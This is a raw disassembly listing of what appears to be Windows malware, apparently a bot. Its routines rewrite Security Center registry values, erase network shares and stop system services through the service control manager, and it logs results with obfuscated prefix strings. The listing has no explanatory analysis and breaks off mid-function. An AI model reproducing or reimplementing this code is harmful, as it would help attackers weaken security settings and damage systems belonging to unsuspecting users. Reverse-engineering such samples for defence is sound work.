		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_4541F8	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_41A8C2
		cmp	[ebp+arg_C], 7
		jnz	short loc_41A8B5
		mov	ecx, [ebp+var_8]
		mov	byte ptr dword_45C3E0[ecx], bl


loc_41A88D:				; CODE XREF: sub_41A829+72j
		cmp	ecx, ebx
		jz	short loc_41A89D
		dec	ecx
		mov	[ebp+var_8], ecx
		cmp	byte ptr dword_45C3E0[ecx], bl
		jz	short loc_41A88D


loc_41A89D:				; CODE XREF: sub_41A829+66j
		xor	edx, edx
		cmp	ecx, ebx
		jbe	short loc_41A8B5


loc_41A8A3:				; CODE XREF: sub_41A829+8Aj
		lea	eax, dword_45C3E0[edx]
		cmp	[eax], bl
		jnz	short loc_41A8B0
		mov	byte ptr [eax],	0Ah


loc_41A8B0:				; CODE XREF: sub_41A829+82j
		inc	edx
		cmp	edx, ecx
		jb	short loc_41A8A3


loc_41A8B5:				; CODE XREF: sub_41A829+59j
					; sub_41A829+78j
		push	[ebp+var_4]
		call	dword_4542E8	; RegCloseKey
		mov	eax, esi
		jmp	short loc_41A8CD
; ---------------------------------------------------------------------------


loc_41A8C2:				; CODE XREF: sub_41A829+53j
		push	[ebp+var_4]
		call	dword_4542E8	; RegCloseKey


loc_41A8CB:				; CODE XREF: sub_41A829+3Cj
		xor	eax, eax


loc_41A8CD:				; CODE XREF: sub_41A829+97j
		pop	esi
		pop	ebx
		leave
		retn
sub_41A829	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8D1	proc near		; CODE XREF: sub_403B2C+4DFCp
					; sub_412267+1EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+var_4]
		mov	eax, [ebp+arg_C]
		push	eax
		push	4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A939
		add	esp, 18h
		leave
		retn
sub_41A8D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F2	proc near		; CODE XREF: sub_403B2C+4ED6p
					; sub_4120E9+116p ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_10], 1
		mov	eax, [ebp+arg_C]
		jnz	short loc_41A919
		push	eax
		push	[ebp+var_8]
		push	1


loc_41A906:				; CODE XREF: sub_41A8F2+33j
					; sub_41A8F2+41j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A939
		add	esp, 18h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A919:				; CODE XREF: sub_41A8F2+Cj
		cmp	[ebp+arg_10], 2
		jnz	short loc_41A927
		push	eax
		push	[ebp+var_8]
		push	2
		jmp	short loc_41A906
; ---------------------------------------------------------------------------


loc_41A927:				; CODE XREF: sub_41A8F2+2Bj
		cmp	[ebp+arg_10], 7
		jnz	short loc_41A935
		push	eax
		push	[ebp+var_8]
		push	7
		jmp	short loc_41A906
; ---------------------------------------------------------------------------


loc_41A935:				; CODE XREF: sub_41A8F2+39j
		xor	eax, eax
		leave
		retn
sub_41A8F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A939	proc near		; CODE XREF: sub_41A8D1+17p
					; sub_41A8F2+1Dp

var_10004	= byte ptr -10004h
var_10003	= byte ptr -10003h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10004h
		call	sub_4220C0
		push	ebx
		xor	ebx, ebx
		lea	eax, [ebp+arg_4]
		push	ebx
		push	eax
		push	ebx
		push	20006h
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4542BC	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_41A96E
		xor	eax, eax
		jmp	loc_41AA3E
; ---------------------------------------------------------------------------


loc_41A96E:				; CODE XREF: sub_41A939+2Cj
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		cmp	edi, ebx
		jz	loc_41AA2E
		mov	eax, [ebp+arg_C]
		dec	eax
		jz	loc_41AA41
		dec	eax
		jz	short loc_41A9F9
		dec	eax
		dec	eax
		jz	short loc_41A9E9
		sub	eax, 3
		jnz	loc_41AA31
		push	[ebp+arg_14]
		call	sub_422120
		pop	ecx
		mov	esi, eax
		push	[ebp+arg_14]
		lea	eax, [ebp+var_10004]
		push	eax
		call	dword_42F04C	; lstrcpyA
		xor	ecx, ecx
		cmp	esi, ebx
		mov	[ebp+esi+var_10004], bl
		mov	[ebp+esi+var_10003], bl
		jle	short loc_41A9D9


loc_41A9C4:				; CODE XREF: sub_41A939+9Cj
		lea	eax, [ebp+ecx+var_10004]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41A9D2
		mov	[eax], bl


loc_41A9D2:				; CODE XREF: sub_41A939+95j
		inc	ecx
		cmp	ecx, esi
		jl	short loc_41A9C4
		cmp	esi, ebx


loc_41A9D9:				; CODE XREF: sub_41A939+89j
		jz	short loc_41A9DD
		inc	esi
		inc	esi


loc_41A9DD:				; CODE XREF: sub_41A939:loc_41A9D9j
		lea	eax, [ebp+var_10004]
		push	esi
		push	eax
		push	7
		jmp	short loc_41AA1F
; ---------------------------------------------------------------------------


loc_41A9E9:				; CODE XREF: sub_41A939+51j
		mov	eax, [ebp+arg_10]
		push	4
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	4
		jmp	short loc_41AA1F
; ---------------------------------------------------------------------------


loc_41A9F9:				; CODE XREF: sub_41A939+4Dj
		push	[ebp+arg_14]
		call	sub_422120
		pop	ecx
		mov	esi, eax
		push	[ebp+arg_14]
		lea	eax, [ebp+var_10004]
		push	eax
		call	dword_42F04C	; lstrcpyA
		inc	esi
		lea	eax, [ebp+var_10004]
		push	esi
		push	eax
		push	2


loc_41AA1F:				; CODE XREF: sub_41A939+AEj
					; sub_41A939+BEj ...
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	dword_45433C	; RegSetValueExA
		test	eax, eax
		jnz	short loc_41AA31


loc_41AA2E:				; CODE XREF: sub_41A939+3Cj
		xor	ebx, ebx
		inc	ebx


loc_41AA31:				; CODE XREF: sub_41A939+56j
					; sub_41A939+F3j
		push	[ebp+arg_4]
		call	dword_4542E8	; RegCloseKey
		pop	edi
		mov	eax, ebx
		pop	esi


loc_41AA3E:				; CODE XREF: sub_41A939+30j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AA41:				; CODE XREF: sub_41A939+46j
		push	[ebp+arg_14]
		call	sub_422120
		pop	ecx
		mov	esi, eax
		push	[ebp+arg_14]
		lea	eax, [ebp+var_10004]
		push	eax
		call	dword_42F04C	; lstrcpyA
		inc	esi
		lea	eax, [ebp+var_10004]
		push	esi
		push	eax
		push	1
		jmp	short loc_41AA1F
sub_41A939	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA69	proc near		; CODE XREF: sub_41B226+48p
					; sub_41B226+B6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	edx, edx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], edx
		xor	esi, esi


loc_41AA7B:				; CODE XREF: sub_41AA69+23Ej
		mov	eax, dword_442AD4[esi]
		cmp	eax, 4
		jnz	loc_41AB92
		cmp	[ebp+arg_0], edx
		jz	short loc_41AA97
		mov	eax, dword_442AD8[esi]
		jmp	short loc_41AA9D
; ---------------------------------------------------------------------------


loc_41AA97:				; CODE XREF: sub_41AA69+24j
		mov	eax, dword_442ADC[esi]


loc_41AA9D:				; CODE XREF: sub_41AA69+2Cj
		lea	edi, dword_4429D3[esi]
		lea	ebx, aSoftwareMicr_5[esi] ; "SOFTWARE\\Microsoft\\Security Center"
		push	eax
		push	edi
		push	ebx
		push	dword_4428D0[esi]
		call	sub_41A8D1
		add	esp, 10h
		test	eax, eax
		jz	short loc_41AB28
		inc	[ebp+var_8]
		cmp	[ebp+arg_14], 0
		jnz	loc_41AC99
		cmp	[ebp+arg_10], 0
		jz	loc_41AC99
		cmp	[ebp+arg_C], 0
		jnz	loc_41AC99
		cmp	[ebp+arg_0], 0
		jz	short loc_41AAED
		mov	ecx, dword_442AD8[esi]
		jmp	short loc_41AAF3
; ---------------------------------------------------------------------------


loc_41AAED:				; CODE XREF: sub_41AA69+7Aj
		mov	ecx, dword_442ADC[esi]


loc_41AAF3:				; CODE XREF: sub_41AA69+82j
		cmp	dword_4428D0[esi], 80000002h
		mov	edx, offset aHklm ; "HKLM"
		jz	short loc_41AB09
		mov	edx, offset aHkcu ; "HKCU"


loc_41AB09:				; CODE XREF: sub_41AA69+99j
		cmp	[ebp+arg_0], 0
		mov	eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		jnz	short loc_41AB19
		mov	eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"


loc_41AB19:				; CODE XREF: sub_41AA69+A9j
		push	ecx
		push	edi
		push	ebx
		push	edx
		push	eax
		push	offset aSSetSSSToD_ ; "%s Set \"%s\\%s\\%s\" to	\"%d\"."
		jmp	loc_41AC8B
; ---------------------------------------------------------------------------


loc_41AB28:				; CODE XREF: sub_41AA69+53j
		inc	[ebp+var_4]
		cmp	[ebp+arg_14], 0
		jnz	loc_41AC99
		cmp	[ebp+arg_10], 0
		jz	loc_41AC99
		cmp	[ebp+arg_C], 0
		jnz	loc_41AC99
		cmp	[ebp+arg_0], 0
		jz	short loc_41AB57
		mov	ecx, dword_442AD8[esi]
		jmp	short loc_41AB5D
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA69+E4j
		mov	ecx, dword_442ADC[esi]


loc_41AB5D:				; CODE XREF: sub_41AA69+ECj
		cmp	dword_4428D0[esi], 80000002h
		mov	edx, offset aHklm ; "HKLM"
		jz	short loc_41AB73
		mov	edx, offset aHkcu ; "HKCU"


loc_41AB73:				; CODE XREF: sub_41AA69+103j
		cmp	[ebp+arg_0], 0
		mov	eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		jnz	short loc_41AB83
		mov	eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"


loc_41AB83:				; CODE XREF: sub_41AA69+113j
		push	ecx
		push	edi
		push	ebx
		push	edx
		push	eax
		push	offset aSFailedToSetSS ; "%s Failed to set \"%s\\%s\\%s\" to \"%d\"."
		jmp	loc_41AC8B
; ---------------------------------------------------------------------------


loc_41AB92:				; CODE XREF: sub_41AA69+1Bj
		cmp	eax, 1
		jnz	loc_41AC9B
		inc	[ebp+var_8]
		cmp	[ebp+arg_0], edx
		lea	eax, dword_442AE0[esi]
		jnz	short loc_41ABAF
		lea	eax, dword_442BDF[esi]


loc_41ABAF:				; CODE XREF: sub_41AA69+13Ej
		lea	edi, dword_4429D3[esi]
		push	1
		lea	ebx, aSoftwareMicr_5[esi] ; "SOFTWARE\\Microsoft\\Security Center"
		push	eax
		push	edi
		push	ebx
		push	dword_4428D0[esi]
		call	sub_41A8F2
		add	esp, 14h
		test	eax, eax
		jz	short loc_41AC34
		cmp	[ebp+arg_14], 0
		jnz	loc_41AC99
		cmp	[ebp+arg_10], 0
		jz	loc_41AC99
		cmp	[ebp+arg_C], 0
		jnz	loc_41AC99
		cmp	[ebp+arg_0], 0
		lea	ecx, dword_442AE0[esi]
		jnz	short loc_41AC02
		lea	ecx, dword_442BDF[esi]


loc_41AC02:				; CODE XREF: sub_41AA69+191j
		cmp	dword_4428D0[esi], 80000002h
		mov	edx, offset aHklm ; "HKLM"
		jz	short loc_41AC18
		mov	edx, offset aHkcu ; "HKCU"


loc_41AC18:				; CODE XREF: sub_41AA69+1A8j
		cmp	[ebp+arg_0], 0
		mov	eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		jnz	short loc_41AC28
		mov	eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"


loc_41AC28:				; CODE XREF: sub_41AA69+1B8j
		push	ecx
		push	edi
		push	ebx
		push	edx
		push	eax
		push	offset aSSetSSSToS_ ; "%s Set \"%s\\%s\\%s\" to	\"%s\"."
		jmp	short loc_41AC8B
; ---------------------------------------------------------------------------


loc_41AC34:				; CODE XREF: sub_41AA69+167j
		inc	[ebp+var_4]
		cmp	[ebp+arg_14], 0
		jnz	short loc_41AC99
		cmp	[ebp+arg_10], 0
		jz	short loc_41AC99
		cmp	[ebp+arg_C], 0
		jnz	short loc_41AC99
		cmp	[ebp+arg_0], 0
		lea	ecx, dword_442AE0[esi]
		jnz	short loc_41AC5B
		lea	ecx, dword_442BDF[esi]


loc_41AC5B:				; CODE XREF: sub_41AA69+1EAj
		cmp	dword_4428D0[esi], 80000002h
		mov	edx, offset aHklm ; "HKLM"
		jz	short loc_41AC71
		mov	edx, offset aHkcu ; "HKCU"


loc_41AC71:				; CODE XREF: sub_41AA69+201j
		cmp	[ebp+arg_0], 0
		mov	eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		jnz	short loc_41AC81
		mov	eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"


loc_41AC81:				; CODE XREF: sub_41AA69+211j
		push	ecx
		push	edi
		push	ebx
		push	edx
		push	eax
		push	offset aSFailedToSet_0 ; "%s Failed to set \"%s\\%s\\%s\" to \"%s\"."


loc_41AC8B:				; CODE XREF: sub_41AA69+BAj
					; sub_41AA69+124j ...
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 20h


loc_41AC99:				; CODE XREF: sub_41AA69+5Cj
					; sub_41AA69+66j ...
		xor	edx, edx


loc_41AC9B:				; CODE XREF: sub_41AA69+12Cj
		add	esi, 410h
		cmp	esi, 4920h
		jb	loc_41AA7B
		cmp	[ebp+var_8], edx
		pop	edi
		pop	esi
		pop	ebx
		jnz	short loc_41ACEC
		cmp	[ebp+arg_10], edx
		jnz	short locret_41AD2A
		cmp	[ebp+arg_C], edx
		jnz	short locret_41AD2A
		cmp	[ebp+arg_14], edx
		jnz	short locret_41AD2A
		cmp	[ebp+arg_0], edx
		mov	ecx, offset aSecured ; "Secured"
		jnz	short loc_41ACE5
		mov	ecx, offset aUnsecure ;	"Unsecure"
		mov	eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"


loc_41ACD8:				; CODE XREF: sub_41AA69+281j
		push	[ebp+var_4]
		push	edx
		push	ecx
		push	eax
		push	offset aSFailedToSRegi ; "%s Failed to %s Registry, (%.2d/%.2d)"
		jmp	short loc_41AD1C
; ---------------------------------------------------------------------------


loc_41ACE5:				; CODE XREF: sub_41AA69+263j
		mov	eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		jmp	short loc_41ACD8
; ---------------------------------------------------------------------------


loc_41ACEC:				; CODE XREF: sub_41AA69+24Aj
		cmp	[ebp+arg_10], edx
		jnz	short locret_41AD2A
		cmp	[ebp+arg_C], edx
		jnz	short locret_41AD2A
		cmp	[ebp+arg_14], edx
		jnz	short locret_41AD2A
		cmp	[ebp+arg_0], edx
		mov	ecx, offset aSecure ; "Secure"
		jnz	short loc_41AD2C
		mov	ecx, offset aUnsecure ;	"Unsecure"
		mov	eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"


loc_41AD0F:				; CODE XREF: sub_41AA69+2C8j
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ecx
		push	eax
		push	offset aSRegistryS_2d_ ; "%s Registry %s, (%.2d/%.2d)"


loc_41AD1C:				; CODE XREF: sub_41AA69+27Aj
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 1Ch

locret_41AD2A:				; CODE XREF: sub_41AA69+24Fj
					; sub_41AA69+254j ...
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AD2C:				; CODE XREF: sub_41AA69+29Aj
		mov	eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		jmp	short loc_41AD0F
sub_41AA69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD33	proc near		; CODE XREF: sub_41B226+53p
					; sub_41B226+D6p

var_2034	= byte ptr -2034h
var_1034	= byte ptr -1034h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2034h
		call	sub_4220C0
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		jz	loc_41AF6E
		cmp	[ebp+arg_14], ebx
		mov	[ebp+arg_0], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		jnz	short loc_41AD85
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AD85
		push	offset aErased	; "erased"
		push	offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		lea	eax, [ebp+var_1034]
		push	offset dword_447780
		push	eax
		call	sub_422063
		add	esp, 10h


loc_41AD85:				; CODE XREF: sub_41AD33+2Dj
					; sub_41AD33+32j ...
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	ebx
		call	dword_454240
		cmp	eax, ebx
		mov	[ebp+var_14], eax
		jz	loc_41AE30
		cmp	eax, 0EAh
		jz	short loc_41AE30
		xor	esi, esi


loc_41ADB7:				; CODE XREF: sub_41AD33+F6j
		push	ebx
		push	off_4471F0[esi]
		push	ebx
		call	dword_4541CC
		test	eax, eax
		jnz	short loc_41AE20
		cmp	[ebp+arg_14], ebx
		jnz	short loc_41AE1D
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AE1D
		cmp	[ebp+arg_10], ebx
		jz	short loc_41AE1D
		cmp	[ebp+var_4], ebx
		jle	short loc_41ADF0
		lea	eax, [ebp+var_1034]
		push	offset dword_43EA04
		push	eax
		call	sub_423270
		pop	ecx
		pop	ecx


loc_41ADF0:				; CODE XREF: sub_41AD33+A8j
		push	off_4471F0[esi]
		lea	eax, [ebp+var_2034]
		push	offset off_44777C
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_2034]
		push	eax
		lea	eax, [ebp+var_1034]
		push	eax
		call	sub_423270
		add	esp, 14h


loc_41AE1D:				; CODE XREF: sub_41AD33+99j
					; sub_41AD33+9Ej ...
		inc	[ebp+var_4]


loc_41AE20:				; CODE XREF: sub_41AD33+94j
		add	esi, 8
		cmp	esi, 138h
		jb	short loc_41ADB7
		jmp	loc_41AEC2
; ---------------------------------------------------------------------------


loc_41AE30:				; CODE XREF: sub_41AD33+75j
					; sub_41AD33+80j
		mov	edi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+arg_0], ebx
		jb	short loc_41AEB7


loc_41AE3B:				; CODE XREF: sub_41AD33+182j
		mov	esi, [edi]
		push	esi
		call	sub_424B08
		cmp	word ptr [esi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41AEAE
		push	0
		push	esi
		push	0
		call	dword_4541CC
		test	eax, eax
		jnz	short loc_41AEAE
		cmp	[ebp+arg_14], eax
		jnz	short loc_41AEAB
		cmp	[ebp+arg_C], eax
		jnz	short loc_41AEAB
		cmp	[ebp+arg_10], eax
		jz	short loc_41AEAB
		cmp	[ebp+var_4], eax
		jle	short loc_41AE82
		lea	eax, [ebp+var_1034]
		push	offset dword_43EA04
		push	eax
		call	sub_423270
		pop	ecx
		pop	ecx


loc_41AE82:				; CODE XREF: sub_41AD33+13Aj
		push	dword ptr [edi]
		lea	eax, [ebp+var_2034]
		push	offset off_44777C
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_2034]
		push	eax
		lea	eax, [ebp+var_1034]
		push	eax
		call	sub_423270
		add	esp, 14h


loc_41AEAB:				; CODE XREF: sub_41AD33+12Bj
					; sub_41AD33+130j ...
		inc	[ebp+var_4]


loc_41AEAE:				; CODE XREF: sub_41AD33+117j
					; sub_41AD33+126j
		add	edi, 28h
		inc	ebx
		cmp	ebx, [ebp+arg_0]
		jbe	short loc_41AE3B


loc_41AEB7:				; CODE XREF: sub_41AD33+106j
		push	[ebp+var_8]
		call	dword_4543A0
		xor	ebx, ebx


loc_41AEC2:				; CODE XREF: sub_41AD33+F8j
		cmp	[ebp+var_14], 0EAh
		jz	loc_41AD85
		cmp	[ebp+arg_10], ebx
		jz	short loc_41AF40
		cmp	[ebp+arg_14], ebx
		jnz	loc_41B0AB
		cmp	[ebp+arg_C], ebx
		jnz	loc_41B0AB
		cmp	[ebp+var_4], ebx
		jnz	short loc_41AEFA


loc_41AEEB:				; CODE XREF: sub_41AD33+222j
		push	offset aErased	; "erased"
		push	offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		jmp	loc_41B05D
; ---------------------------------------------------------------------------


loc_41AEFA:				; CODE XREF: sub_41AD33+1B6j
		push	[ebp+var_4]
		push	offset aErased	; "erased"
		push	offset aTotalSharesSD ;	" Total	shares:	[%s: %d]"


loc_41AF07:				; CODE XREF: sub_41AD33+348j
		lea	eax, [ebp+var_2034]
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_2034]
		push	eax
		lea	eax, [ebp+var_1034]
		push	eax
		call	sub_423270
		lea	eax, [ebp+var_1034]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 24h
		jmp	loc_41B0AB
; ---------------------------------------------------------------------------


loc_41AF40:				; CODE XREF: sub_41AD33+19Fj
		cmp	[ebp+arg_14], ebx
		jnz	loc_41B0AB
		cmp	[ebp+arg_C], ebx
		jnz	loc_41B0AB
		cmp	[ebp+var_4], ebx
		jz	short loc_41AEEB
		push	[ebp+var_4]
		push	offset aErased	; "erased"
		push	offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		push	offset aSTotalSharesSD ; "%s Total shares %s: [%d]"
		jmp	loc_41B09D
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41AD33+1Bj
		cmp	[ebp+arg_14], ebx
		mov	edi, offset aCreated ; "created"
		jnz	short loc_41AF97
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AF97
		push	edi
		push	offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"
		lea	eax, [ebp+var_1034]
		push	offset dword_447780
		push	eax
		call	sub_422063
		add	esp, 10h


loc_41AF97:				; CODE XREF: sub_41AD33+243j
					; sub_41AD33+248j
		mov	[ebp+arg_0], ebx
		xor	esi, esi


loc_41AF9C:				; CODE XREF: sub_41AD33+30Aj
		mov	eax, off_4471F0[esi]
		mov	[ebp+var_30], ebx
		mov	[ebp+var_34], eax
		mov	eax, dword_4471F4[esi]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	2
		push	ebx
		mov	[ebp+var_2C], offset aUnloading	; "Unloading"
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], 4
		mov	[ebp+var_20], ebx
		mov	[ebp+var_18], ebx
		call	dword_4541EC
		test	eax, eax
		jnz	short loc_41B034
		cmp	[ebp+arg_14], ebx
		jnz	short loc_41B031
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41B031
		cmp	[ebp+arg_10], ebx
		jz	short loc_41B031
		cmp	[ebp+var_8], ebx
		jle	short loc_41B004
		lea	eax, [ebp+var_1034]
		push	offset dword_43EA04
		push	eax
		call	sub_423270
		pop	ecx
		pop	ecx


loc_41B004:				; CODE XREF: sub_41AD33+2BCj
		push	off_4471F0[esi]
		lea	eax, [ebp+var_2034]
		push	offset off_44777C
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_2034]
		push	eax
		lea	eax, [ebp+var_1034]
		push	eax
		call	sub_423270
		add	esp, 14h


loc_41B031:				; CODE XREF: sub_41AD33+2ADj
					; sub_41AD33+2B2j ...
		inc	[ebp+var_8]


loc_41B034:				; CODE XREF: sub_41AD33+2A8j
		add	esi, 8
		cmp	esi, 138h
		jb	loc_41AF9C
		cmp	[ebp+arg_10], ebx
		jz	short loc_41B080
		cmp	[ebp+arg_14], ebx
		jnz	short loc_41B0AB
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41B0AB
		cmp	[ebp+var_8], ebx
		jnz	short loc_41B072


loc_41B057:				; CODE XREF: sub_41AD33+35Aj
		push	edi
		push	offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"


loc_41B05D:				; CODE XREF: sub_41AD33+1C2j
		push	offset aSNoSharesS_ ; "%s No shares %s."
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 14h
		jmp	short loc_41B0AB
; ---------------------------------------------------------------------------


loc_41B072:				; CODE XREF: sub_41AD33+322j
		push	[ebp+var_8]
		push	edi
		push	offset aTotalSharesS_0 ; " Total shares	[%s: %d]"
		jmp	loc_41AF07
; ---------------------------------------------------------------------------


loc_41B080:				; CODE XREF: sub_41AD33+313j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41B0AB
		cmp	[ebp+arg_14], ebx
		jnz	short loc_41B0AB
		cmp	[ebp+var_8], ebx
		jz	short loc_41B057
		push	[ebp+var_8]
		push	edi
		push	offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"
		push	offset aSTotalShares_0 ; "%s Total shares [%s: %d]"


loc_41B09D:				; CODE XREF: sub_41AD33+236j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 18h


loc_41B0AB:				; CODE XREF: sub_41AD33+1A4j
					; sub_41AD33+1ADj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B0	proc near		; CODE XREF: sub_41B226+3Dp
					; sub_41B226+93p

var_24		= byte ptr -24h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp+var_4], edi
		mov	esi, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."


loc_41B0C3:				; CODE XREF: sub_41B0B0+119j
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	dword_454304	; OpenSCManagerA
		push	0F01FFh
		mov	[ebp+var_8], eax
		push	off_4428A8[edi]
		push	eax
		call	dword_4541D4	; OpenServiceA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_41B12C
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 424h
		jnz	loc_41B1B3
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jz	loc_41B1B3
		cmp	[ebp+arg_10], eax
		jnz	loc_41B1B3
		cmp	[ebp+arg_8], eax
		jnz	loc_41B1B3
		push	off_4428BC[edi]
		push	esi
		push	offset aSTheSServiceDo ; "%s The %s service does not exist."
		jmp	short loc_41B1A5
; ---------------------------------------------------------------------------


loc_41B12C:				; CODE XREF: sub_41B0B0+3Ej
		lea	eax, [ebp+var_24]
		push	eax
		push	1
		push	ebx
		call	dword_454244	; ControlService
		test	eax, eax
		jz	short loc_41B17A
		lea	eax, [ebp+var_24]
		push	eax
		push	1
		push	ebx
		call	dword_454244	; ControlService
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jz	short loc_41B175
		cmp	[ebp+arg_10], eax
		jnz	short loc_41B175
		cmp	[ebp+arg_8], eax
		jnz	short loc_41B175
		push	off_4428BC[edi]
		push	esi
		push	offset aSSServiceStopp ; "%s %s	service	stopped."
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 14h


loc_41B175:				; CODE XREF: sub_41B0B0+9Fj
					; sub_41B0B0+A4j ...
		inc	[ebp+var_4]
		jmp	short loc_41B1B3
; ---------------------------------------------------------------------------


